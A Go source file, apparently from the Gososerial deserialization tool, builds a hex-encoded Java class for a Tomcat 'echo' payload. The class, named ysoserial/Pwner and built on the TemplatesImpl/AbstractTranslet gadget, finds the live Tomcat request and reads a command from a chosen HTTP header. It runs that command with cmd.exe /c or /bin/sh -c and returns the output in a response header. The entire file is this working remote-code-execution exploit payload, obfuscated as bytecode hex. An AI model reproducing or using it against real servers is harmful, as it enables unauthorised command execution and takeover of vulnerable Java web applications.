package gadget

import (
	"encoding/binary"
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/tool"
	"strings"
)

func GetTomcatEcho(echoHeaderName, cmdHeaderName string) []byte {
	prefix := "CAFEBABE0000003300EB01001D79736F73657269616C2F50776E6572"
	randStr := tool.GetRandomIntStr(14)
	randStr = hex.EncodeToString([]byte(randStr))
	split := "0700010100106A6176612F6C616E672F4F626A65637407000301000A5" +
		"36F7572636546696C6501001850776E6572"
	beforeCmd := "2E6A6176610100097772697465426F6479010017284C6A6176612F6C616E672F4F626A656374" +
		"3B5B4229560100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6" +
		"B08000901000F6A6176612F6C616E672F436C61737307000B010007666F724E616D65010025284C6A617661" +
		"2F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C000D000E0A000C000F01000" +
		"B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B0C001100120A000C00" +
		"1301000873657442797465730800150100025B420700170100116A6176612F6C616E672F496E74656765720" +
		"70019010004545950450100114C6A6176612F6C616E672F436C6173733B0C001B001C09001A001D01001167" +
		"65744465636C617265644D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A61766" +
		"12F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C001F00" +
		"200A000C00210100063C696E69743E010004284929560C002300240A001A00250100186A6176612F6C616E6" +
		"72F7265666C6563742F4D6574686F64070027010006696E766F6B65010039284C6A6176612F6C616E672F4F" +
		"626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743" +
		"B0C0029002A0A0028002B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B" +
		"0C002D002E0A0004002F010007646F57726974650800310100096765744D6574686F640C003300200A000C0" +
		"0340100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0700360100136A" +
		"6176612E6E696F2E427974654275666665720800380100047772617008003A01001F6A6176612F6C616E672" +
		"F4E6F537563684D6574686F64457863657074696F6E07003C010004436F646501000A457863657074696F6E" +
		"730100136A6176612F6C616E672F457863657074696F6E07004001000D537461636B4D61705461626C65010" +
		"0056765744656010038284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F53747269" +
		"6E673B294C6A6176612F6C616E672F4F626A6563743B0100106765744465636C617265644669656C6401002" +
		"D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C" +
		"643B0C004500460A000C004701001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696" +
		"F6E07004901000D6765745375706572636C6173730C004B002E0A000C004C010015284C6A6176612F6C616E" +
		"672F537472696E673B29560C0023004E0A004A004F0100226A6176612F6C616E672F7265666C6563742F416" +
		"36365737369626C654F626A65637407005101000D73657441636365737369626C65010004285A29560C0053" +
		"00540A005200550100176A6176612F6C616E672F7265666C6563742F4669656C64070057010003676574010" +
		"026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C005900" +
		"5A0A0058005B0100106A6176612F6C616E672F537472696E6707005D0100032829560C0023005F0A0004006" +
		"00100106A6176612F6C616E672F54687265616407006201000D63757272656E745468726561640100142829" +
		"4C6A6176612F6C616E672F5468726561643B0C006400650A0063006601000E67657454687265616447726F7" +
		"57001001928294C6A6176612F6C616E672F54687265616447726F75703B0C006800690A0063006A01000774" +
		"68726561647308006C0C004300440A0002006E0100135B4C6A6176612F6C616E672F5468726561643B07007" +
		"00100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C007200730A00630074" +
		"01000465786563080076010008636F6E7461696E7301001B284C6A6176612F6C616E672F436861725365717" +
		"5656E63653B295A0C007800790A005E007A0100046874747008007C01000674617267657408007E0100126A" +
		"6176612F6C616E672F52756E6E61626C6507008001000674686973243008008201000768616E646C6572080" +
		"084010006676C6F62616C08008601000A70726F636573736F727308008801000E6A6176612F7574696C2F4C" +
		"69737407008A01000473697A650100032829490C008C008D0B008B008E0100152849294C6A6176612F6C616" +
		"E672F4F626A6563743B0C005900900B008B009101000372657108009301000B676574526573706F6E736508" +
		"009501000967657448656164657208009701"
	echoLenByte := make([]byte, 2)
	binary.BigEndian.PutUint16(echoLenByte, uint16(len(echoHeaderName)))
	echoLenStr := strings.ToUpper(hex.EncodeToString(echoLenByte))
	echoData := strings.ToUpper(hex.EncodeToString([]byte(echoHeaderName)))
	echoHeader := echoLenStr + echoData
	headerSplit := "0800990100076973456D70747901000328295A0C009B009C0A005E009D010009736574537461" +
		"74757308009F0100096164644865616465720800A101"
	cmdLenByte := make([]byte, 2)
	binary.BigEndian.PutUint16(cmdLenByte, uint16(len(cmdHeaderName)))
	cmdLenStr := strings.ToUpper(hex.EncodeToString(cmdLenByte))
	cmdData := strings.ToUpper(hex.EncodeToString([]byte(cmdHeaderName)))
	cmdHeader := cmdLenStr + cmdData
	suffix := "0800A30100076F732E6E616D650800A50100106A6176612F6C616E672F53797374656D0700A701000" +
		"B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E" +
		"672F537472696E673B0C00A900AA0A00A800AB01000B746F4C6F776572436173650C00AD00730A005E00AE0" +
		"1000677696E646F770800B0010007636D642E6578650800B20100022F630800B40100072F62696E2F736808" +
		"00B60100022D630800B80100116A6176612F7574696C2F5363616E6E65720700BA0100186A6176612F6C616" +
		"E672F50726F636573734275696C6465720700BC010016285B4C6A6176612F6C616E672F537472696E673B29" +
		"560C002300BE0A00BD00BF010005737461727401001528294C6A6176612F6C616E672F50726F636573733B0" +
		"C00C100C20A00BD00C30100116A6176612F6C616E672F50726F636573730700C501000E676574496E707574" +
		"53747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C00C700C80A00C600C9010" +
		"018284C6A6176612F696F2F496E70757453747265616D3B29560C002300CB0A00BB00CC0100025C410800CE" +
		"01000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612" +
		"F7574696C2F5363616E6E65723B0C00D000D10A00BB00D20100046E6578740C00D400730A00BB00D5010008" +
		"676574427974657301000428295B420C00D700D80A005E00D90C000700080A000200DB01000D67657450726" +
		"F7065727469657301001828294C6A6176612F7574696C2F50726F706572746965733B0C00DD00DE0A00A800" +
		"DF0100136A6176612F7574696C2F486173687461626C650700E1010008746F537472696E670C00E300730A0" +
		"0E200E40100135B4C6A6176612F6C616E672F537472696E673B0700E6010040636F6D2F73756E2F6F72672F" +
		"6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F416273747261637" +
		"45472616E736C65740700E80A00E900600021000200E9000000000003000A000700080002003E0000012F00" +
		"080005000000F6120AB800104E2DB600144D2D121606BD000C59031218535904B2001E535905B2001E53B60" +
		"0222C06BD000459032B535904BB001A5903B70026535905BB001A592BBEB7002653B6002C572AB600301232" +
		"04BD000C59032D53B600352A04BD000459032C53B6002C57A7008D3A041239B800104E2D123B04BD000C590" +
		"3121853B600222D04BD000459032B53B6002C4D2AB60030123204BD000C59032D53B600352A04BD00045903" +
		"2C53B6002C57A700483A041239B800104E2D123B04BD000C5903121853B600222D04BD000459032B53B6002" +
		"C4D2AB60030123204BD000C59032D53B600352A04BD000459032C53B6002C57A70003B1000200000068006B" +
		"00370000006800B0003D00010042000000170003F7006B070037F7004407003DFD004407000407000C003F0" +
		"000000400010041000A004300440002003E0000007E000300050000003F014D2AB600304EA700192D2BB600" +
		"484DA70016A700003A042DB6004D4EA700032D1204A6FFE72C01A6000CBB004A592BB70050BF2C04B600562" +
		"C2AB6005CB00001000A00130016004A00010042000000250006FD000A07005807000C08FF00020004070004" +
		"07005E07005807000C000107004A09050D003F000000040001004100010023005F0002003E0000033600080" +
		"00D0000023F2AB700EA033604B80067B6006B126DB8006FC000713A0503360615061905BEA2021F19051506" +
		"323A07190701A60006A702091907B600754E2D1277B6007B9A000C2D127DB6007B9A0006A701EE1907127FB" +
		"8006F4C2BC100819A0006A701DC2B1283B8006F1285B8006F1287B8006F4CA7000B3A08A701C3A700002B12" +
		"89B8006FC0008B3A0903360A150A1909B9008F0100A2019E1909150AB9009202003A0B190B1294B8006F4C2" +
		"BB60030129603BD000CB600352B03BD0004B6002C4D2BB60030129804BD000C5903125E53B600352B04BD00" +
		"045903129A53B6002CC0005E4E2D01A5000A2DB6009E990006A700582CB6003012A004BD000C5903B2001E5" +
		"3B600352C04BD00045903BB001A591100C8B7002653B6002C572CB6003012A205BD000C5903125E53590412" +
		"5E53B600352C05BD00045903129A5359042D53B6002C570436042BB60030129804BD000C5903125E53B6003" +
		"52B04BD0004590312A453B6002CC0005E4E2D01A5000A2DB6009E990006A7008D2CB6003012A004BD000C59" +
		"03B2001E53B600352C04BD00045903BB001A591100C8B7002653B6002C5712A6B800ACB600AF12B1B6007B9" +
		"9001806BD005E590312B353590412B55359052D53A7001506BD005E590312B753590412B95359052D533A0C" +
		"2CBB00BB59BB00BD59190CB700C0B600C4B600CAB700CD12CFB600D3B600D6B600DAB800DC0436042D01A50" +
		"00A2DB6009E99000815049A0006A700102CB800E0B600E5B600DAB800DC1504990006A70009840A01A7FE5C" +
		"1504990006A70009840601A7FDDFB10001005F00700073004100010042000000DD0019FF001A00070700020" +
		"0000001070071010000FC0017070063FF00170008070002000007005E0107007101070063000002FF001100" +
		"080700020700040007005E010700710107006300005307004104FF000200080700020700040007005E01070" +
		"071010700630000FE000D0007008B01FF0063000C07000207000407000407005E0107007101070063000700" +
		"8B01070004000002FB00542E02FB004D510700E7290B04020C07FF0005000B0700020700040007005E01070" +
		"071010700630007008B010000FF0007000807000200000001070071010700630000FA0005003F0000000400" +
		"01004100010005000000020006"
	data, _ := hex.DecodeString(prefix + randStr + split + randStr +
		beforeCmd + echoHeader + headerSplit + cmdHeader + suffix)
	return data
}
